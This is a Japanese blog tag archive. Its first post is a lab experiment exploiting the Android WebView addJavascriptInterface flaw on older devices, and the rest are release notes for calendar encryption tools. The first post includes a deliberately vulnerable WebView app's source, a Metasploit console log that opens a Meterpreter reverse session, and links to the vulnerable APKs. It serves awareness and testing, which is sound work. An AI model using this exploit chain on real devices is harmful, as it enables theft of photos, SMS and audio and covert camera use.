Javaアプリ」タグアーカイブ

実験してみました!Android 4.2.x以下のAndroid端末(スマホやタブレット)は本当にやばいです!

ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。

*1:Attacks on Android WebViews

どういう端末が危ないか

1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可

これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。

さらに、

4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可

などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。

なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます

実験内容

1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成

2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機

3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール

4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。

ターゲット環境

・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続

侵入ホスト環境

・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続

WebViewクラス使用アプリの作成

GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。

変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。

package com.krasavkana.vulnwebview;

import android.os.Bundle;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity {

private static EditText edittext1;
private static EditText edittext2;
private static EditText edittext3;
private static WebView myWebView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final Button button = (Button) findViewById(R.id.button1);

// set LHOST 192.168.1.30
edittext1 = (EditText) findViewById(R.id.edittext1);
// set SVRPORT 8080
edittext2 = (EditText) findViewById(R.id.edittext2);
// set URIPATH /aaaaaaaa
edittext3 = (EditText) findViewById(R.id.edittext3);

myWebView = (WebView) findViewById(R.id.webView1);

// not a good idea!
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);

// terrible idea!
myWebView.addJavascriptInterface(new WebAppInterface(this), "Android");

myWebView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return super.shouldOverrideUrlLoading(view, url);
}
});

// woot.
//myWebView.loadUrl(edittext.getText().toString());

button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Perform action on click
loadUrl();
}
});

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

private void loadUrl() {
String uri="http://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString();
myWebView.loadUrl(uri);
// myWebView.reload();
}

}

実験結果

・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可

以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。

root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]]
+ -- --=[ 1463 exploits - 838 auxiliary - 229 post        ]
+ -- --=[ 428 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30
LPORT => 192.168.1.30
msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa
URIPATH => /aaaaaaaa
msf exploit(webview_addjavascriptinterface) > set VERBOSE true
VERBOSE => true
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.30:4444 
[*] Using URL: http://0.0.0.0:8080/aaaaaaaa
[*] Local IP: http://192.168.1.30:8080/aaaaaaaa
[*] Server started.
msf exploit(webview_addjavascriptinterface) > 
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.1.108    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.108    webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: source=script vs source=script
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true
[*] 192.168.1.108    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (45338 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700

msf exploit(webview_addjavascriptinterface) > sessions

Active sessions
===============

  Id  Type                      Information  Connection
  --  ----                      -----------  ----------
  1   meterpreter java/android   @ localhost  192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /data/data/com.krasavkana.vulnwebview
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11768  fil   2015-06-28 15:49:41 -0700  abaeJ.dex
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  cache
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  databases
40444/r--r--r--   4096   dir   2015-06-28 15:49:14 -0700  lib

meterpreter > pwd
/data/data/com.krasavkana.vulnwebview
meterpreter > cd ..
meterpreter > pwd
/data/data

実験で使ったAPKファイル

掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。

インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk

因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。

*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。

他の脆弱性について

今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。

私たちエンドユーザとしては、

・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、

などができ得る対策ですが、十分に気をつけましょう。

関連する記事・ページ

お世話になったリンク

Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。

ガンガン暗号化できます!?Gカレンダ暗号化/復号化一括変換ツール「cj2cj2main」を改版しました

Gカレンダ暗号化/復号化一括変換ツール「cj2cj2main」を改版しました

本サイトでは、Gカレンダを一部暗号化するための自作アプリの紹介やツールの提供を行っています。先日リリースしたGカレンダ一括暗号化/復号化ツール「cj2cj2main」を改版しました。

以下簡単な操作方法の紹介です。

初めて起動したとき

  1. 解凍ファイルのうち「cj2cj2main.props_default.xml」という名前のプロパティファイルを「cj2cj2main.props.xml」に変更する(コピーでもよいです)
  2. メニュバーの「表示」「設定」「パスコード」を選択する。初期値を削除して、4文字以上のパスコードを設定する。「OK」をクリックする
  3. アプリを再起動する

※ここで設定したパスコードが暗号化(および復号化)に使われますので間違えたり忘れたりしないように注意してください。ここで設定したパスコードは暗号化されてプロパティファイルに保存されます

暗号化処理のみ体験したいとき

  1. メニュバーの「編集」「Select All」を選択すると「example2.ics」の3つの予定(events)が全選択される
  2. ツールバーの「鍵アイコン(閉じているもの)」をクリックすると、上記の予定(events)が暗号化準備完了となる(左ペインでは灰色から赤色に変化します)
  3. 再度、ツールバーの「鍵アイコン(閉じているもの)」をクリックすると、上記の予定(events)が暗号化される。暗号化完了したものは左ペインにあるリストの色が変化します(赤色から緑色に変化します)
  4. ツールバーの「フロッピーディスクアイコン」をクリックすると、ファイル保存の案内がでます。

※「example2.ics」にあるUIDは仮のものですので注意してください。

ご自分の実際のカレンダデータを使って暗号化処理したいとき

  1. Gカレンダの「設定」「カレンダーをエクスポート」でカレンダをエクスポートする。ダウンロードしたままだと圧縮形式になっているので、解凍しておく
  2. メニュバーの「ファイル」「開く」を選択するとファイル選択の案内画面が開くので上記で解凍したカレンダファイル「xxxxxxxx.ics」からひとつ選択する
  3. メニュバーの「編集」「Select All」を選択すると全予定(events)が選択される
  4. ツールバーの「鍵アイコン(閉じているもの)」をクリックすると、上記の予定(events)が暗号化準備完了となる(左ペインでは灰色から赤色に変化します)
  5. 再度、ツールバーの「鍵アイコン(閉じているもの)」をクリックすると、上記の予定(events)が暗号化される。暗号化完了したものは左ペインにあるリストの色が変化します(赤色から緑色に変化します)
  6. ツールバーの「フロッピーディスクアイコン」をクリックすると、ファイル保存の案内がでます。
  7. Gカレンダの「設定」「カレンダーをインポート」で適切なカレンダにインポートします。

ケース別一括変換例

詳細はサポートページを参照してください。

関連する記事

Gカレンダ暗号化/復号化ツール[MiniCJ2]
Gカレンダ暗号化/復号化ツール[MiniCJ]
Gカレンダ暗号化/復号化ツール「MiniCJ2」を本サイトにてリリースしました
Gカレンダ暗号化/復号化ツール「MiniCJ」を本サイトにてリリースしました
ガンガン暗号化できます!?Gカレンダ暗号化/復号化一括変換ツール「cj2cj2main」を改版しました

以上です。

Gカレンダ暗号化/復号化ツール「MiniCJ」を本サイトにてリリースしました

Gカレンダ暗号化/復号化ツール「MiniCJ」を本サイトにてリリースしました

※MiniCJ2とは異なります。こちらは「クラウドJ2」用ではなく「クラウドジャーナル」用の支援ツールです

本サイトでは、Gカレンダを一部暗号化するための自作アプリの紹介やツールの提供を行っています。先日Gカレンダを予定(イベント)単位に暗号化/復号化するツール「MiniCJ」を本サイトにてリリースしました。

以下簡単な操作方法の紹介です。

初めて起動したとき

  1. 解凍ファイルのうち「minicj.props_default.xml」のファイルを「minicj.props.xml」に変更する(コピーでもよいです)
  2. 「メニュ」「表示」「設定」「32hex Code for Cj1」を選択する。初期値を削除して、Android版クラウドジャーナルから得た32文字からなる16進数のコードを設定する。「OK」をクリックする
  3. アプリを再起動する

 

minicj2_medium_view_selected画像はMiniCJ2のもの

minicj2_medium_preferences画像はMiniCJ2のもの

※ここで設定したパスコードが暗号化(および復号化)に使われますので忘れないように
注意してください

暗号化/復号化処理のみ体験したいとき

  1. 中央画面の赤わくのテキストエリアに暗号化したい文字列を書きます(Ctrl-Vによるコピペでも可)
  2. ツールバーの「鍵アイコン(閉じているもの)」をクリックするか、メニュバーの「暗号化」「暗号にする」を選択すると、上記の文字列が暗号化され緑わくのテキストエリアに表示されます(緑わくの元の文字列は上書きされます)

ご自分の実際のカレンダデータを使って暗号化処理したいとき

  1. Gカレンダの「予定」を表示して、「説明」を、本アプリの中央画面の赤わくのテキストエリアにコピペする
  2. ツールバーの「鍵アイコン(閉じているもの)」をクリックするか、メニュバーの「暗号化」「暗号にする」を選択すると、上記の文字列が暗号化され緑わくのテキストエリアに表示されます(緑わくの元の文字列は上書きされます)
  3. Gカレンダの「予定」を表示して、本アプリの中央画面の緑わくのテキストエリアから「説明」にコピペする

「メニュ」「表示」「設定」で起動画面の大きさを変更できます

minicj2_small_just_invokedアクセサリ的設定(SmallWindow)、画像はMiniCJ2のもの

minicj2_large_just_invoked大画面向け設定(LargeWindow)、画像はMiniCJ2のもの

本アプリをお使いの際の注意および制限

  • 本ツールはAndroid版「クラウドジャーナル」の支援ツールです。AndroidOSが3.0以上の場合Android版「クラウドジャーナル」自体が動作しませんので、ご注意ください
  • 32hex-Codeは「クラウドジャーナル」最新版2.7.7以降の「メニュ」「日記帳」「編集」(長押し)「パスコード表示」をタッチすることで表示されますので、ご注意ください
  • JAVAアプリを本サイトからダウンロードして使います。WEBアプリではないので注意
  • インストールは次のとおり。ダウンロードしたZIPファイルを解凍して設定ファイル(xml)をコピーします。jarファイルをダブルクリックするとアプリが起動します
  • ローカルデータがアプリサーバに送信されることは一切ありません
  • 「メニュ」「表示」「設定」の設定画面で「OK」したあとは、設定を有効にするため、アプリ再起動してください
  • 本アプリを使用することにより生じた損害について、開発者および提供者は一切責任を負いません

ダウンロードリンクおよび改版履歴

ツールのダウンロードはこちら

1.0.0: 新規リリース
詳細はサポートページを参照してください。

関連する記事・ページ

Android向け暗号化日記アプリ「クラウドJ2」をGoogle Playにてリリースしました
無料Androidアプリ「10秒で10年日記 逆さ日記帳」をGoogle Playにてリリースしました
「10秒で10年日記 逆さ日記帳」の設定に「全てのカレンダ」項目を追加しました
“Just10SecGet10yDiary R10Diary” has another feature of “All Calendars”
自作無料WEBアプリ「10秒で10年日記 逆さ日記帳」に検索機能を追加しました
「10秒で10年日記 逆さ日記帳」というWEBアプリをリリースしました
Gカレンダ暗号化/復号化ツール「MiniCJ2」を本サイトにてリリースしました
Gカレンダ暗号化/復号化ツール「MiniCJ」を本サイトにてリリースしました
Android端末の種類でGoogleカレンダの背景色が微妙に違う!?
クラウドジャーナル(androidアプリ)から見えなくなった日記データの復元方法について

Gカレンダ暗号化/復号化ツール[MiniCJ]
Gカレンダ暗号化/復号化ツール[MiniCJ2]

以上です。

Macでも使えました!Gカレンダ暗号化/復号化ツール「MiniCJ2」を本サイトにてリリースしました

Gカレンダ暗号化/復号化ツール「MiniCJ2」を本サイトにてリリースしました

本サイトでは、Gカレンダを一部暗号化するための自作アプリの紹介やツールの提供を行っています。先日Gカレンダを予定(イベント)単位に暗号化/復号化するツール「MiniCJ2」を本サイトにてリリースしました。

以下簡単な操作方法の紹介です。

初めて起動したとき

  1. 解凍ファイルのうち「minicj2.props_default.xml」という名前のプロパティファイルを「minicj2.props.xml」に変更する(コピーでもよいです)
  2. メニュバーの「表示」「設定」「パスコード」を選択する。初期値を削除して、4文字以上のパスコードを設定する。「OK」をクリックする
  3. アプリを再起動する

※ここで設定したパスコードが暗号化(および復号化)に使われますので間違えたり忘れたりしないように注意してください。ここで設定したパスコードは暗号化されてプロパティファイルに保存されます

暗号化/復号化処理のみ体験したいとき

  1. 中央画面の赤わくのテキストエリアに暗号化したい文字列を書きます(Ctrl-Vによるコピペでも可)
  2. ツールバーの「鍵アイコン(閉じているもの)」をクリックするか、メニュバーの「File」-「Encrypt」を選択すると、上記の文字列が暗号化され緑わくのテキストエリアに表示されます(緑わくの元の文字列は上書きされます)

ご自分の実際のカレンダデータを使って暗号化処理したいとき

  1. Gカレンダの「予定」を表示して、「説明」を、本アプリの中央画面の赤わくのテキストエリアにコピペする
  2. ツールバーの「鍵アイコン(閉じているもの)」をクリックするか、メニュバーの「暗号化」「暗号にする」を選択すると、上記の文字列が暗号化され緑わくのテキストエリアに表示されます(緑わくの元の文字列は上書きされます)
  3. Gカレンダの「予定」を表示して、本アプリの中央画面の緑わくのテキストエリアから「説明」にコピペする

応用例

  • 「10秒で10年日記 逆さ日記帳」(Android版)で表示すると復号化されます。(設定パスコードが適切であればです)
  • 「クラウドJ2」(Android版)で表示や編集ができます。(設定パスコードが適切であればです)
  • Gカレンダの「予定」の「説明」だけでなく「タイトル」でも「場所」でも文字列であれば暗号化可能ですが、現在それらをシステムとして復号化する手段がありません。

詳細はサポートページを参照してください。

関連する記事

Gカレンダ暗号化/復号化ツール[MiniCJ2]
Gカレンダ暗号化/復号化ツール[MiniCJ]
Gカレンダ暗号化/復号化ツール「MiniCJ」を本サイトにてリリースしました
以上です。